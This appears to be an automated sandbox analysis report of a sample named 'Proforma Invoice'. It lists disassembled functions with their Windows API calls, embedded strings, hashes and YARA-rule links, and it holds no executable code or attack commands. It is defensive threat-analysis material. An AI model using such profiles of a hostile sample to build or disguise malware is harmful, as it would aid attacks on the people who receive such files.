Opcode Fuzzy Hash: 2634ef423ff5ac113de39fc687450ccb3d366873fe38bccd029b3e141ef72848
Instruction Fuzzy Hash: 94B18E718001099ACF14FF94C8859FEB7B7EF5A310F18806AF912A7291DB349E82CF95

Function 0071AEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 0071AFAE

Strings

xbv, xrefs: 0071B010
xbv, xrefs: 0071AFE4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __itow_s
String ID: xbv$xbv
API String ID: 3653519197-3931776673
Opcode ID: 960a26f5dca1422f4ec3613d831bbb87cbcc1ef6de37d723a42176e7538161d2
Instruction ID: a60b427decff7252dc48c38d6cdb177df4474eb0c941c4cdc00dc5f49679aca1
Opcode Fuzzy Hash: 960a26f5dca1422f4ec3613d831bbb87cbcc1ef6de37d723a42176e7538161d2
Instruction Fuzzy Hash: F2B17F70A00209EFCB14EF58C891DEABBBAFF49310F148059F9459B291EB74ED85DB64

Function 0070AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 006BFC86: _wcscpy.LIBCMT ref: 006BFCA9

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

__wcsnicmp.LIBCMT ref: 0070B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0070B0F6

Strings

LPT, xrefs: 0070B027

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: ada1f5bc14d3e5942a395b8d7ee4796a5b93c1cfdba139ef4c6313c5d8ff5755
Instruction ID: ce298681d65d5cfff618735bd4396d95786b859a48b9ae11cd67175f8f63ad1d
Opcode Fuzzy Hash: ada1f5bc14d3e5942a395b8d7ee4796a5b93c1cfdba139ef4c6313c5d8ff5755
Instruction Fuzzy Hash: E0619E75A00219EFCB14EF94C891EAEB7F5EF09310F104269F916AB291D774AF80CB54

Function 006B2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 006B2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 006B2981

Strings

@, xrefs: 006B2975

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 2e63dfb62dcff0f4b58217296309c55bf1f83aa6284ab61b292a981faa3d1ed5
Instruction ID: 0332694676f6bc20ca1a7d8531cd2b285f7cedb3192cddc68e3daa222080eb59
Opcode Fuzzy Hash: 2e63dfb62dcff0f4b58217296309c55bf1f83aa6284ab61b292a981faa3d1ed5
Instruction Fuzzy Hash: 97514971418744AFE360EF10D886BAFB7F8FB86344F51895DF2D8410A1DB349929CB6A

Function 00709734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 006A4F0B: __fread_nolock.LIBCMT ref: 006A4F29

_wcscmp.LIBCMT ref: 00709824
_wcscmp.LIBCMT ref: 00709837

Strings

FILE, xrefs: 00709770

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 27054f8a68ae11dd124f3c1e4844e62c0d868562a4970c976ce517b0a952085e
Instruction ID: 5cfcc220ac933f3f16c24f2be4629dd952c45300f09d3cc3ceb93523d6294fbf
Opcode Fuzzy Hash: 27054f8a68ae11dd124f3c1e4844e62c0d868562a4970c976ce517b0a952085e
Instruction Fuzzy Hash: FF41A971A00219BADF21ABA0CC45FEFB7FADFC6710F004469FA04E71C1DAB5A9048B65

Function 006E0574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 006E057F

Strings

Ddv, xrefs: 006AA317
Ddv, xrefs: 006AA151

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClearVariant
String ID: Ddv$Ddv
API String ID: 1473721057-686535144
Opcode ID: 19ad85c2550ab7ddfa1c6b601d4f450385e21ce651941ccdd00656d97435ee9a
Instruction ID: 9dc08402e056d26f0a89c9b18a1724de2ba8dce46aadca81ae32f1adc3ed7bd1
Opcode Fuzzy Hash: 19ad85c2550ab7ddfa1c6b601d4f450385e21ce651941ccdd00656d97435ee9a
Instruction Fuzzy Hash: B35125786053429FD750DF19C480A5ABBF2FB9A344F54885EE8868B321D775EC85CF82

Function 0071258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0071259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 007125D4

Strings

|, xrefs: 007125A5

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 7b4ea5f82b9d1d9866bcf52313cb94a5fb3ebb2259fbd60f7e64ba254d46d707
Instruction ID: 7d648c147b94b943344804ebe092e2a7c34bb0edbf26ff369122ed1037ab38cc
Opcode Fuzzy Hash: 7b4ea5f82b9d1d9866bcf52313cb94a5fb3ebb2259fbd60f7e64ba254d46d707
Instruction Fuzzy Hash: 3A311771800119EBCF41EFA4CC85EEEBFB9FF09310F100069F915A61A2EA359956DF64

Function 00727A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00727B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00727B76

Strings

', xrefs: 00727ACA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 12026118bf2dba8ec29dc4b4ff6d8f2cd3517314c25eddbe4e9a6bf4a54f4f41
Instruction ID: 1d1805a080997773711c2b53d128aa67723ef747a6eb622e3e2d11a621f7524e
Opcode Fuzzy Hash: 12026118bf2dba8ec29dc4b4ff6d8f2cd3517314c25eddbe4e9a6bf4a54f4f41
Instruction Fuzzy Hash: A2412774A0531ADFDB18CF68D981BEABBB5FB08310F10416AE905AB381D774AA51DF90

Function 00726A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00726B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00726B53

Strings

static, xrefs: 00726AB3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 44ccb47d2fc44899fbd941c6dee5768a2e848109493757e85f7fca77d41dd571
Instruction ID: f8752fd72d5d1d4a15244b0805441faa8f7dd80493a2096e0da745c705dd1e10
Opcode Fuzzy Hash: 44ccb47d2fc44899fbd941c6dee5768a2e848109493757e85f7fca77d41dd571
Instruction Fuzzy Hash: 703190B1100614AEDB109F64DC80BFB73B9FF48760F10962EF9A5D7190DA38AC91CB64

Function 007028A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00702911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0070294C

Strings

0, xrefs: 0070290A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 8d7f59e74341cc0a20fc992c9ed08620bce0c46a6e4d4eb12272b4dd64f23ad7
Instruction ID: 0ee2cc3476823093c687b77804243bba487f76df9c220fbd29178b1dc5697f85
Opcode Fuzzy Hash: 8d7f59e74341cc0a20fc992c9ed08620bce0c46a6e4d4eb12272b4dd64f23ad7
Instruction Fuzzy Hash: 6531F732610305DBEB24CF48C849BAEBBF9EF05350F144229E8C5B61E2D778A942CB51

Function 007266D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00726761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0072676C

Strings

Combobox, xrefs: 0072672E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: b57ca461d3a22e4ca6e10626ef57f558d9eb4e9438f48dd64f7194b86e0ff106
Instruction ID: 0e8317cba0757651a69ced318358b7669fa3047300b78b75c414a29227dcfff0
Opcode Fuzzy Hash: b57ca461d3a22e4ca6e10626ef57f558d9eb4e9438f48dd64f7194b86e0ff106
Instruction Fuzzy Hash: 6411C475300218AFEF21DF54EC80EFB376AEB49368F10412AF9149B390D679DC5197A0

Function 00726C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 006A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 006A1D73
Part of subcall function 006A1D35: GetStockObject.GDI32(00000011), ref: 006A1D87
Part of subcall function 006A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 006A1D91

GetWindowRect.USER32(00000000,?), ref: 00726C71
GetSysColor.USER32(00000012), ref: 00726C8B

Strings

static, xrefs: 00726C4E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: ca473188894863d5c4855297ebd4294460fc7f363caea7d854abe5fa53024e0a
Instruction ID: 7a92009997492c6bae0c1c7b7c61bb8feb2b6a6ff233c60ae3ade3dc8d6720f4
Opcode Fuzzy Hash: ca473188894863d5c4855297ebd4294460fc7f363caea7d854abe5fa53024e0a
Instruction Fuzzy Hash: DE212972510219AFDF14EFA8DC45EEA7BB8FB08314F004A29F995D2250D739E861DB60

Function 00726920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 007269A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 007269B1

Strings

edit, xrefs: 00726986

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 946c37ddf596653b30999bcf65a27db396c38f4b711b27ea29e55e49b35152d0
Instruction ID: 5ef6c1872a793ea631eac92a030bdf5b436803a5eeac99015592ea06b9d6068c
Opcode Fuzzy Hash: 946c37ddf596653b30999bcf65a27db396c38f4b711b27ea29e55e49b35152d0
Instruction Fuzzy Hash: A511BF71100224ABEB108F64EC44EEB3769EB05374F104729F9E1971E0CB39EC919B60

Function 007029AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00702A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00702A41

Strings

0, xrefs: 00702A18

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 7f094d453a299f3374f2b6aba1a3ee645423756d2b6fc9ba24bb344f4ed275d2
Instruction ID: 20e0c97e3dbffb338d2430cb2ef018445734d15f58910b2fc97398b976897b7d
Opcode Fuzzy Hash: 7f094d453a299f3374f2b6aba1a3ee645423756d2b6fc9ba24bb344f4ed275d2
Instruction Fuzzy Hash: D311B4B3A01224EACF30DA98D848B9A77E8AB45340F14C261EC55E72D1DB78AD0BC795

Function 007121D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0071222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00712255

Strings

<local>, xrefs: 0071221D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 92d7daa910446e810b8a3b6f11291c23ab42c39a8684fa631f9a3ec741db272c
Instruction ID: 402bf27b2bcb4fc8f88643ce6cf7e00957fda5175a26d32c87fc330bb3d873ff
Opcode Fuzzy Hash: 92d7daa910446e810b8a3b6f11291c23ab42c39a8684fa631f9a3ec741db272c
Instruction Fuzzy Hash: 86110270501225BADB248F198C84EFBFBA8FF06351F10822AFA0446181E2B858E6D6F0

Function 006B092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,006A3C14,007652F8,?,?,?), ref: 006B096E

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

_wcscat.LIBCMT ref: 006E4CB7

Strings

Sv, xrefs: 006B09AE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: Sv
API String ID: 257928180-3435220482
Opcode ID: 5f376c20f8272ad4f109021253388c5c26f5be99627a1dba8a96d95d755217d4
Instruction ID: 8d742121a0bedb0944db5c8137afb55f50e345987c4c74b06a88c12c451cb0a8
Opcode Fuzzy Hash: 5f376c20f8272ad4f109021253388c5c26f5be99627a1dba8a96d95d755217d4
Instruction Fuzzy Hash: E611A9719052099A9B90FF64CC05EDE77BAEF09740F0054AAF945D7341DEB0AAC45B18

Function 006F8E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 006F8E73

Strings

ListBox, xrefs: 006F8E3D
ComboBox, xrefs: 006F8E12

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 6aeee0ec1842dbec5d83b0ab3b304ae89dbae2fda3bd1378d884008eb6027853
Instruction ID: da479282ea5b1fc6afa53ca13cd0153ae673c6b65593f74c7388ba18ef45a40a
Opcode Fuzzy Hash: 6aeee0ec1842dbec5d83b0ab3b304ae89dbae2fda3bd1378d884008eb6027853
Instruction Fuzzy Hash: 6701F1B160521CAB8B14FBA0CC468FE736AEF06320B000A5DF926573E1DE355C0CCA50

Function 006F8CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 006F8D6B

Strings

ListBox, xrefs: 006F8D35
ComboBox, xrefs: 006F8D0A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 41f72ce9e3a2f02458bb8470304f00dae69e23136bc16e71fd721710dec0fd70
Instruction ID: e1be099595d8f9b472ef49617e28664e036d38dd5fc84e8f0ed1e2059a254c40
Opcode Fuzzy Hash: 41f72ce9e3a2f02458bb8470304f00dae69e23136bc16e71fd721710dec0fd70
Instruction Fuzzy Hash: FE01BCB1A4110CABCB18FBA0C952AFE77AA9F16300F10006EB906672A1DE295E0CD665

Function 006F8D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 006F8DEE

Strings

ListBox, xrefs: 006F8DBA
ComboBox, xrefs: 006F8D8F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: fbd9d6035f0fd2e13a31f38c941820c449b82b2d60de98402a2864dc3452d95d
Instruction ID: 17c7b7a45c6a3f5d60f6ad924acc15fe07988da2f79541e1fa0809a0c34f27fa
Opcode Fuzzy Hash: fbd9d6035f0fd2e13a31f38c941820c449b82b2d60de98402a2864dc3452d95d
Instruction Fuzzy Hash: FA01F2B1A4110CABCB14FAA4C942EFFB3AACF26300F10001EB90663292DE295E0DD675

Function 006FC4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006FC534

Part of subcall function 006FC816: _memmove.LIBCMT ref: 006FC860
Part of subcall function 006FC816: VariantInit.OLEAUT32(00000000), ref: 006FC882
Part of subcall function 006FC816: VariantCopy.OLEAUT32(00000000,?), ref: 006FC88C

VariantClear.OLEAUT32(?), ref: 006FC556

Strings

d}u, xrefs: 006FC517
